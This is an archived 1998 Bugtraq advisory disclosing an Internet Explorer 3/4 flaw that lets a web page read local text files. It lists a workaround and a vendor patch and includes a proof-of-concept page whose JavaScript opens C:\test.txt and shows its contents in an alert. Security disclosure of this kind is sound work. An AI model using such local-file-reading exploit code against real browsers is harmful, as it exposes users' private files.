Bugtraq mailing list archives

IE can read local files

From: guninski () USA NET (Georgi Guninski)
Date: Sat, 5 Sep 1998 04:33:05 -0400


There is a bug in Internet Explorer 3, 4.0, 4.01 (for version information see Microsoft's info below),
which allows a specially designed web page to read text or HTML files from the user's computer
and send their contents to an arbitrary host, even if the user is behind firewall. The bug uses Javascript and
the file name and location must be known.

Another way to exploit this bug is to send a specially designed message to an Outlook Express/IE4  user.

Demonstration of this is available at: http://www.geocities.com/ResearchTriangle/1711/good-read.html

Workaround: Disable Javascript.
Microsoft has released a patch at: http://www.microsoft.com/security/bulletins/ms98-013.htm

Georgi Guninski
http://www.geocities.com/ResearchTriangle/1711

The source of the page:
----Cut here---

<HTML>
<HEAD><TITLE>Read text/HTML file with Internet Explorer 4.01></TITLE></HEAD>
<BODY>
This demonstrates a bug in IE 4.01 under Windows 95 (don't know for other versions), which allows reading text or HTML 
file on the user's machine.
<B>Create the file c:\test.txt</B> and its contents are shown in a message box. The file may be sent to an arbitrary 
server even if behind a firewall.
To test it, you need Javascript enabled.
This file is created by Georgi Guninski.

<SCRIPT LANGUAGE="JAVASCRIPT">

alert("This page demonstrates reading the file C:\\test.txt (you may need to create a short file to view it)");


var x=window.open('file://C:/test.txt');
x.navigate("javascript:eval(\"var a=window.open('file://C:/test.txt');r=a.document.body.innerText;alert(r);\")");

</SCRIPT>
</BODY>
</HTML>



____________________________________________________________________
Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

Current thread:

IE can read local files Georgi Guninski (Sep 05)
- <Possible follow-ups>
- Re: IE can read local files Mike Dion (Sep 05)
- Re: IE can read local files Lynda L. True (Sep 05)
- Re: IE can read local files Steve Moyzis (Sep 05)
- Re: IE can read local files Thomas Davis (Sep 08)